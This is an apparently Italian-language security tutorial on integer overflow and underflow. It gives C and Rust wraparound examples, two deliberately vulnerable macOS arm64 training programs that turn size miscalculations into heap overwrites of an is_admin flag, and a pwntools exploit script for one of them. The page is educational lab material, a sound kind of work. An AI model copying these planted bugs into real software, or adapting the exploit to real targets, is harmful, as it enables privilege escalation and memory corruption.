Integer Overflow

Reading time: 10 minutes

Informazioni di base

Al centro di un integer overflow c'è la limitazione imposta dalla dimensione dei tipi di dato nella programmazione e dall'interpretazione dei dati.

Ad esempio, un 8-bit unsigned integer può rappresentare valori da 0 to 255. Se si tenta di memorizzare il valore 256 in un 8-bit unsigned integer, questo si riavvolge a 0 a causa della limitazione della sua capacità di memorizzazione. Analogamente, per un 16-bit unsigned integer, che può contenere valori da 0 to 65,535, aggiungere 1 a 65,535 farà riavvolgere il valore a 0.

Inoltre, un 8-bit signed integer può rappresentare valori da -128 to 127. Questo perché un bit è usato per rappresentare il segno (positivo o negativo), lasciando 7 bit per rappresentare la magnitudine. Il numero più negativo è rappresentato come -128 (binary 10000000), e il numero più positivo è 127 (binary 01111111).

Valori massimi per tipi interi comuni:

Un short è equivalente a int16_t, un int è equivalente a int32_t e un long è equivalente a int64_t nei sistemi a 64 bit.

Valori massimi

Per potenziali web vulnerabilities è molto interessante conoscere i valori massimi supportati:

fn main() {

let mut quantity = 2147483647;

let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);

println!("{}", mul_result);
println!("{}", add_result);
}

#include <stdio.h>
#include <limits.h>

int main() {
int a = INT_MAX;
int b = 0;
int c = 0;

b = a * 100;
c = a + 1;

printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
}

Esempi

Overflow puro

Il risultato stampato sarà 0 poiché abbiamo fatto overflow del char:

#include <stdio.h>

int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}

Signed to Unsigned Conversion

Considera una situazione in cui un signed integer viene letto dall'input dell'utente e poi usato in un contesto che lo tratta come un unsigned integer, senza una convalida adeguata:

#include <stdio.h>

int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);

// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;

// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}

return 0;
}

In questo esempio, se un utente inserisce un numero negativo, verrà interpretato come un grande unsigned integer a causa del modo in cui i valori binari vengono interpretati, potenzialmente causando comportamenti imprevisti.

macOS Overflow Example

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

/*
* Realistic integer-overflow → undersized allocation → heap overflow → flag
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
*/

__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
exit(0);
}

struct session {
int is_admin;           // Target to flip from 0 → 1
char note[64];
};

static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
size_t got = 0;

printf("Requested bytes: %zu\n", want);

while (got < want) {
size_t remain = want - got;
size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;

ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) {
got += (size_t)n;
continue;
}
if (n == 0) {
// EOF – stop; partial reads are fine for our exploit
break;
}
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
perror("read");
break;
}
return got;
}


int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Bundle Importer (training) ===");

// 1) Read attacker-controlled parameters (use large values)
size_t count = 0, elem_size = 0;
printf("Entry count: ");
if (scanf("%zu", &count) != 1) return 1;
printf("Entry size: ");
if (scanf("%zu", &elem_size) != 1) return 1;

// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
//    NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
Then, product32 = 0
*/
uint32_t alloc32   = product32 + 32; // alloc32 = 0 + 32 = 32
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);

// 3) Allocate a single arena and lay out [buffer][slack][session]
//    This makes adjacency deterministic (no reliance on system malloc order).
const size_t SLACK = 512;
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);

unsigned char *buf  = arena;  // In this buffer the attacker will copy data
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);

printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, alloc32, (void*)sess,
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).

// 4) Copy uses native size_t product (no truncation) → It generates an overflow
size_t to_copy = count * elem_size;                   // <-- Large size_t
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);

puts(">> Send bundle payload on stdin (EOF to finish)...");
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
printf("[dbg] actually read = %zu bytes\n", got);

// 5) Privileged action gated by a field next to the overflow target
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}

Compilalo con:

clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_ovf_heap_priv int_ovf_heap_priv.c

Exploit

# exploit.py
from pwn import *

# Keep logs readable; switch to "debug" if you want full I/O traces
context.log_level = "info"

EXE = "./int_ovf_heap_priv"

def main():
# IMPORTANT: use plain pipes, not PTY
io = process([EXE])  # stdin=PIPE, stdout=PIPE by default

# 1) Drive the prompts
io.sendlineafter(b"Entry count: ", b"4294967296")  # 2^32 -> (uint32_t)0
io.sendlineafter(b"Entry size: ",  b"1")           # alloc32 = 32, offset_to_sess = 48

# 2) Wait until it’s actually reading the payload
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")

# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
payload = b"A" * 48 + p32(1)

# 4) Send payload, THEN send EOF via half-close on the pipe
io.send(payload)
io.shutdown("send")   # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary

# 5) Read the rest (should print admin + FLAG)
print(io.recvall(timeout=5).decode(errors="ignore"))

if __name__ == "__main__":
main()

macOS Underflow Esempio

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

/*
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
*/

__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
exit(0);
}

struct session {
int  is_admin;      // flip 0 -> 1
char note[64];
};

static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
size_t got = 0;
printf("[dbg] Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) { got += (size_t)n; continue; }
if (n == 0) break;    // EOF: partial read is fine
perror("read"); break;
}
return got;
}

int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Packet Importer (UNDERFLOW training) ===");

size_t total_len = 0;
printf("Total packet length: ");
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"

const size_t HEADER = 16;

// **BUG**: size_t underflow if total_len < HEADER
size_t payload_len = total_len - HEADER;   // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
total_len, HEADER, payload_len);

// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
const size_t SLACK = 256;
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);

unsigned char *buf  = arena;
struct session *sess = (struct session*)(arena + total_len + 16);
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);

printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);

puts(">> Send payload bytes (EOF to finish)...");
size_t got = read_stdin(buf, payload_len);
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
printf("[dbg] actually read = %zu bytes\n", got);

if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}

Compilalo con:

clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_underflow_heap int_underflow_heap.c

Altri esempi

• https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html

• Viene usato solo 1B per memorizzare la size della password, quindi è possibile overflowarlo e farlo sembrare di lunghezza 4 mentre in realtà è 260 per bypassare la length check protection

• https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html

• Dato un paio di numeri, trovare usando z3 un nuovo numero che moltiplicato per il primo dia il secondo:

(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)

• https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/
• Viene usato solo 1B per memorizzare la size della password, quindi è possibile overflowarlo e farlo sembrare di lunghezza 4 mentre in realtà è 260 per bypassare la length check protection e sovrascrivere nello stack la local variable successiva e bypassare entrambe le protezioni

ARM64

Questo non cambia in ARM64 come puoi vedere in this blog post.